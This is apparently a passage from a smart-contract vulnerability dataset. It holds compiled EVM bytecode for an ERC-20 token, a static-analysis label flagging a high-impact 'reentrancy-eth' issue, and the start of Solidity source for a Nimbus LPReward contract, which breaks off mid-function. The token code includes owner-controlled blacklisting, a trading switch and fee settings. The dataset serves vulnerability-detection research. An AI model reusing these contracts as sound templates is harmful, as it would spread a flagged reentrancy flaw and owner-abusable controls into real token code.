000905090565b60006108f1848484611861565b6109b2846108fd61168e565b6109ad85604051806060016040528060288152602001613f3d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061096361168e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122359092919063ffffffff16565b611696565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109fa61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7e90613656565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610aea61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6e90613656565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd461168e565b73ffffffffffffffffffffffffffffffffffffffff161480610c4a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c3261168e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c5357600080fd5b6000479050610c6181612299565b50565b6000610cae600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612394565b9050919050565b610cbd61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4190613656565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e1061168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9490613656565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ede61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6290613656565b60405180910390fd5b80601660146101000a81548160ff021916908315150217905550600260088190555050565b60185481565b60606040518060400160405280600881526020017f424f424146455454000000000000000000000000000000000000000000000000815250905090565b610fdb61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105f90613656565b60405180910390fd5b8060198190555050565b61107a61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611107576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fe90613656565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061113d61113661168e565b8484611861565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a861168e565b73ffffffffffffffffffffffffffffffffffffffff16148061121e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120661168e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122757600080fd5b600061123230610c64565b905061123d81612402565b50565b61124861168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc90613656565b60405180910390fd5b60005b8383905081101561139a578160056000868685818110611321577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906113369190612f5a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061139290613a30565b9150506112d8565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61143561168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b990613656565b60405180910390fd5b8060188190555050565b6114d461168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155890613656565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c8906135b6565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fd906136d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176d906135d6565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161185491906136f6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c890613696565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611941576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193890613536565b60405180910390fd5b60008111611984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197b90613676565b60405180910390fd5b61198c610ead565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119fa57506119ca610ead565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f3457601660149054906101000a900460ff16611a8957611a1b610ead565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7f90613556565b60405180910390fd5b5b601754811115611ace576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac590613596565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b725750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba8906135f6565b60405180910390fd5b6008544311158015611c105750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c6a5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d00576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611dad5760185481611d6284610c64565b611d6c919061382c565b10611dac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da3906136b6565b60405180910390fd5b5b6000611db830610c64565b9050600060195482101590506017548210611dd35760175491505b808015611ded5750601660159054906101000a900460ff16155b8015611e475750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5d575060168054906101000a900460ff165b8015611eb35750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f095750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f3157611f1782612402565b60004790506000811115611f2f57611f2e47612299565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fdb5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061208e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561208d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561209c5760009050612223565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121475750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561215f57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561220a5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561222257600b54600d81905550600c54600e819055505b5b61222f848484846126fc565b50505050565b600083831115829061227d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122749190613514565b60405180910390fd5b506000838561228c919061390d565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122e960028461272990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612314573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61236560028461272990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612390573d6000803e3d6000fd5b5050565b60006006548211156123db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d290613576565b60405180910390fd5b60006123e5612773565b90506123fa818461272990919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612460577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561248e5781602001602082028036833780820191505090505b50905030816000815181106124cc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561256e57600080fd5b505afa158015612582573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125a69190612f83565b816001815181106125e0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061264730601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611696565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126ab959493929190613711565b600060405180830381600087803b1580156126c557600080fd5b505af11580156126d9573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b8061270a5761270961279e565b5b6127158484846127e1565b80612723576127226129ac565b5b50505050565b600061276b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129c0565b905092915050565b6000806000612780612a23565b91509150612797818361272990919063ffffffff16565b9250505090565b6000600d541480156127b257506000600e54145b156127bc576127df565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127f387612a85565b95509550955095509550955061285186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aed90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128e685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293281612b95565b61293c8483612c52565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161299991906136f6565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129fe9190613514565b60405180910390fd5b5060008385612a169190613882565b9050809150509392505050565b600080600060065490506000683635c9adc5dea000009050612a59683635c9adc5dea0000060065461272990919063ffffffff16565b821015612a7857600654683635c9adc5dea00000935093505050612a81565b81819350935050505b9091565b6000806000806000806000806000612aa28a600d54600e54612c8c565b9250925092506000612ab2612773565b90506000806000612ac58e878787612d22565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b2f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612235565b905092915050565b6000808284612b46919061382c565b905083811015612b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8290613616565b60405180910390fd5b8091505092915050565b6000612b9f612773565b90506000612bb68284612dab90919063ffffffff16565b9050612c0a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c6782600654612aed90919063ffffffff16565b600681905550612c8281600754612b3790919063ffffffff16565b6007819055505050565b600080600080612cb86064612caa888a612dab90919063ffffffff16565b61272990919063ffffffff16565b90506000612ce26064612cd4888b612dab90919063ffffffff16565b61272990919063ffffffff16565b90506000612d0b82612cfd858c612aed90919063ffffffff16565b612aed90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d3b8589612dab90919063ffffffff16565b90506000612d528689612dab90919063ffffffff16565b90506000612d698789612dab90919063ffffffff16565b90506000612d9282612d848587612aed90919063ffffffff16565b612aed90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612dbe5760009050612e20565b60008284612dcc91906138b3565b9050828482612ddb9190613882565b14612e1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1290613636565b60405180910390fd5b809150505b92915050565b6000612e39612e34846137ab565b613786565b90508083825260208201905082856020860282011115612e5857600080fd5b60005b85811015612e885781612e6e8882612e92565b845260208401935060208301925050600181019050612e5b565b5050509392505050565b600081359050612ea181613ef7565b92915050565b600081519050612eb681613ef7565b92915050565b60008083601f840112612ece57600080fd5b8235905067ffffffffffffffff811115612ee757600080fd5b602083019150836020820283011115612eff57600080fd5b9250929050565b600082601f830112612f1757600080fd5b8135612f27848260208601612e26565b91505092915050565b600081359050612f3f81613f0e565b92915050565b600081359050612f5481613f25565b92915050565b600060208284031215612f6c57600080fd5b6000612f7a84828501612e92565b91505092915050565b600060208284031215612f9557600080fd5b6000612fa384828501612ea7565b91505092915050565b60008060408385031215612fbf57600080fd5b6000612fcd85828601612e92565b9250506020612fde85828601612e92565b9150509250929050565b600080600060608486031215612ffd57600080fd5b600061300b86828701612e92565b935050602061301c86828701612e92565b925050604061302d86828701612f45565b9150509250925092565b6000806040838503121561304a57600080fd5b600061305885828601612e92565b925050602061306985828601612f45565b9150509250929050565b60008060006040848603121561308857600080fd5b600084013567ffffffffffffffff8111156130a257600080fd5b6130ae86828701612ebc565b935093505060206130c186828701612f30565b9150509250925092565b6000602082840312156130dd57600080fd5b600082013567ffffffffffffffff8111156130f757600080fd5b61310384828501612f06565b91505092915050565b60006020828403121561311e57600080fd5b600061312c84828501612f30565b91505092915050565b60006020828403121561314757600080fd5b600061315584828501612f45565b91505092915050565b6000806000806080858703121561317457600080fd5b600061318287828801612f45565b945050602061319387828801612f45565b93505060406131a487828801612f45565b92505060606131b587828801612f45565b91505092959194509250565b60006131cd83836131d9565b60208301905092915050565b6131e281613941565b82525050565b6131f181613941565b82525050565b6000613202826137e7565b61320c818561380a565b9350613217836137d7565b8060005b8381101561324857815161322f88826131c1565b975061323a836137fd565b92505060018101905061321b565b5085935050505092915050565b61325e81613953565b82525050565b61326d81613996565b82525050565b61327c816139ba565b82525050565b600061328d826137f2565b613297818561381b565b93506132a78185602086016139cc565b6132b081613b06565b840191505092915050565b60006132c860238361381b565b91506132d382613b17565b604082019050919050565b60006132eb603f8361381b565b91506132f682613b66565b604082019050919050565b600061330e602a8361381b565b915061331982613bb5565b604082019050919050565b6000613331601c8361381b565b915061333c82613c04565b602082019050919050565b600061335460268361381b565b915061335f82613c2d565b604082019050919050565b600061337760228361381b565b915061338282613c7c565b604082019050919050565b600061339a60238361381b565b91506133a582613ccb565b604082019050919050565b60006133bd601b8361381b565b91506133c882613d1a565b602082019050919050565b60006133e060218361381b565b91506133eb82613d43565b604082019050919050565b600061340360208361381b565b915061340e82613d92565b602082019050919050565b600061342660298361381b565b915061343182613dbb565b604082019050919050565b600061344960258361381b565b915061345482613e0a565b604082019050919050565b600061346c60238361381b565b915061347782613e59565b604082019050919050565b600061348f60248361381b565b915061349a82613ea8565b604082019050919050565b6134ae8161397f565b82525050565b6134bd81613989565b82525050565b60006020820190506134d860008301846131e8565b92915050565b60006020820190506134f36000830184613255565b92915050565b600060208201905061350e6000830184613264565b92915050565b6000602082019050818103600083015261352e8184613282565b905092915050565b6000602082019050818103600083015261354f816132bb565b9050919050565b6000602082019050818103600083015261356f816132de565b9050919050565b6000602082019050818103600083015261358f81613301565b9050919050565b600060208201905081810360008301526135af81613324565b9050919050565b600060208201905081810360008301526135cf81613347565b9050919050565b600060208201905081810360008301526135ef8161336a565b9050919050565b6000602082019050818103600083015261360f8161338d565b9050919050565b6000602082019050818103600083015261362f816133b0565b9050919050565b6000602082019050818103600083015261364f816133d3565b9050919050565b6000602082019050818103600083015261366f816133f6565b9050919050565b6000602082019050818103600083015261368f81613419565b9050919050565b600060208201905081810360008301526136af8161343c565b9050919050565b600060208201905081810360008301526136cf8161345f565b9050919050565b600060208201905081810360008301526136ef81613482565b9050919050565b600060208201905061370b60008301846134a5565b92915050565b600060a08201905061372660008301886134a5565b6137336020830187613273565b818103604083015261374581866131f7565b905061375460608301856131e8565b61376160808301846134a5565b9695505050505050565b600060208201905061378060008301846134b4565b92915050565b60006137906137a1565b905061379c82826139ff565b919050565b6000604051905090565b600067ffffffffffffffff8211156137c6576137c5613ad7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006138378261397f565b91506138428361397f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561387757613876613a79565b5b828201905092915050565b600061388d8261397f565b91506138988361397f565b9250826138a8576138a7613aa8565b5b828204905092915050565b60006138be8261397f565b91506138c98361397f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561390257613901613a79565b5b828202905092915050565b60006139188261397f565b91506139238361397f565b92508282101561393657613935613a79565b5b828203905092915050565b600061394c8261395f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139a1826139a8565b9050919050565b60006139b38261395f565b9050919050565b60006139c58261397f565b9050919050565b60005b838110156139ea5780820151818401526020810190506139cf565b838111156139f9576000848401525b50505050565b613a0882613b06565b810181811067ffffffffffffffff82111715613a2757613a26613ad7565b5b80604052505050565b6000613a3b8261397f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a6e57613a6d613a79565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f0081613941565b8114613f0b57600080fd5b50565b613f1781613953565b8114613f2257600080fd5b50565b613f2e8161397f565b8114613f3957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122009af676e690e0db5dbb666c82af4f62bc5d173e6cd031ad77b725b22fce987a264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 2,685 |
0x33940281C290FFDB8227A20594e91Ad1000c3318
|
/**
*Submitted for verification at Etherscan.io on 2021-04-06
*/
pragma solidity =0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner, "LPReward: Caller is not the owner");
_;
}
function transferOwnership(address transferOwner) public onlyOwner {
require(transferOwner != newOwner);
newOwner = transferOwner;
}
function acceptOwnership() virtual public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
interface INimbusRouter {
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
interface INimbusFactory {
function getPair(address tokenA, address tokenB) external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'LPReward: ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'LPReward: ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'LPReward: ds-math-mul-overflow');
}
}
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
contract LPReward is Ownable {
using SafeMath for uint;
uint public lpRewardMaxAmount = 100_000_000e18;
uint public lpRewardUsed;
uint public immutable startReward;
uint public constant rewardPeriod = 365 days;
address public NBU;
address public swapRouter;
INimbusFactory public swapFactory;
mapping (address => mapping (address => uint)) public lpTokenAmounts;
mapping (address => mapping (address => uint)) public weightedRatio;
mapping (address => mapping (address => uint)) public ratioUpdateLast;
mapping (address => mapping (address => uint[])) public unclaimedAmounts;
mapping (address => bool) public allowedPairs;
mapping (address => address[]) public pairTokens;
event RecordAddLiquidity(uint ratio, uint weightedRatio, uint oldWeighted, uint liquidity);
event RecordRemoveLiquidityUnclaimed(address recipient, address pair, uint amountA, uint amountB, uint liquidity);
event RecordRemoveLiquidityGiveNbu(address recipient, address pair, uint nbu, uint amountA, uint amountB, uint liquidity);
event ClaimLiquidityNbu(address recipient, uint nbu, uint amountA, uint amountB);
event Rescue(address to, uint amount);
event RescueToken(address token, address to, uint amount);
constructor(address nbu, address factory) {
swapFactory = INimbusFactory(factory);
NBU = nbu;
startReward = block.timestamp;
}
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, "LPReward: LOCKED");
unlocked = 0;
_;
unlocked = 1;
}
modifier onlyRouter() {
require(msg.sender == swapRouter, "Caller is not the allowed router");
_;
}
function recordAddLiquidity(address recipient, address pair, uint amountA, uint amountB, uint liquidity) external onlyRouter {
if (!allowedPairs[pair]) return;
uint ratio = Math.sqrt(amountA.mul(amountB)).mul(1e18) / liquidity;
uint previousRatio = weightedRatio[recipient][pair];
if (ratio < previousRatio) {
return;
}
uint previousAmount = lpTokenAmounts[recipient][pair];
uint newAmount = previousAmount.add(liquidity);
uint weighted = (previousRatio.mul(previousAmount) / newAmount).add(ratio.mul(liquidity) / newAmount);
weightedRatio[recipient][pair] = weighted;
lpTokenAmounts[recipient][pair] = newAmount;
ratioUpdateLast[recipient][pair] = block.timestamp;
emit RecordAddLiquidity(ratio, weighted, previousRatio, liquidity);
}
function recordRemoveLiquidity(address recipient, address tokenA, address tokenB, uint amountA, uint amountB, uint liquidity) external lock onlyRouter {
address pair = swapFactory.getPair(tokenA, tokenB);
if (!allowedPairs[pair]) return;
uint amount0;
uint amount1;
{
uint previousAmount = lpTokenAmounts[recipient][pair];
if (previousAmount == 0) return;
uint ratio = Math.sqrt(amountA.mul(amountB)).mul(1e18) / liquidity;
uint previousRatio = weightedRatio[recipient][pair];
if (previousRatio == 0 || (previousRatio != 0 && ratio < previousRatio)) return;
uint difference = ratio.sub(previousRatio);
if (previousAmount < liquidity) liquidity = previousAmount;
weightedRatio[recipient][pair] = (previousRatio.mul(previousAmount.sub(liquidity)) / previousAmount).add(ratio.mul(liquidity) / previousAmount);
